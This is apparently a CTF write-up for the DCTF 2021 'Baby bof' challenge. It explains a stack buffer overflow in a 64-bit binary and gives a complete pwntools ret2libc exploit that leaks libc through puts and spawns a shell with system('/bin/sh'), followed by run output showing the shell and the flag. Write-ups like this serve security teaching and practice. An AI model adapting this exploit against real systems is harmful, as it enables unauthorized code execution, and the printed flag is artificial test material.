Tags: bof ret2libc pwn rop 

Rating:

# DCTF 2021

## Baby bof

> 250
>
> It's just another bof.
>
> `nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481`
>
> [hotel\_rop](hotel_rop) [Dockerfile](Dockerfile)

Tags: _pwn_ _x86-64_ _bof_ _rop_ _ret2libc_

## Summary

Classic two-pass leak libc, return to vuln, get a shell.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

Partial RELRO--GOT overwrite; no canary--BOF/ROP; no PIE--easy ROP.

### Decompile with Ghidra

```c
void vuln(void)
{
char local_12 [10];

puts("plz don\'t rop me");
fgets(local_12,0x100,stdin);
puts("i don\'t think this will work");
return;
}
```

Write out `0x12` of garbage to get to return address in stack and start ROP.

> The libc version was provided in the form of a `Dockerfile`. I've included it (`libc.so.6`) as part of this writeup since a future update to Ubuntu 20.04 may change the version of libc.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./baby_bof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if args.REMOTE:
p = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481)
libc = ELF('./libc.so.6')
else:
p = process(binary.path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = next(binary.search(asm('pop rdi; ret')))

payload = b''
payload += 0x12 * b'A'
payload += p64(pop_rdi)
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.sym.vuln)

p.sendlineafter('me\n',payload)
p.recvuntil('work\n')

puts = u64(p.recv(6) + b'\0\0')
log.info('puts: ' + hex(puts))
libc.address = puts - libc.sym.puts
log.info('libc.address: ' + hex(libc.address))

payload = 0x12 * b'A'
payload += p64(pop_rdi + 1)
payload += p64(pop_rdi)
payload += p64(libc.search(b'/bin/sh').__next__())
payload += p64(libc.sym.system)

p.sendlineafter('me\n',payload)
p.recvuntil('work\n')
p.interactive()
```

If this does not make sense, then click [here](https://github.com/datajerk/ctf-write-ups/blob/master/INDEX.md), scroll down to ROP, and start reading, perhaps start [here](https://github.com/datajerk/ctf-write-ups/blob/master/darkctf2020/roprop) or [here](https://github.com/datajerk/ctf-write-ups/tree/master/downunderctf2020/return_to_what) for nearly identical examples.

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/dctf2021/baby_bof/baby_bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] puts: 0x7f0d964c25a0
[*] libc.address: 0x7f0d9643b000
[*] Switching to interactive mode
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/dctf2021/baby_bof).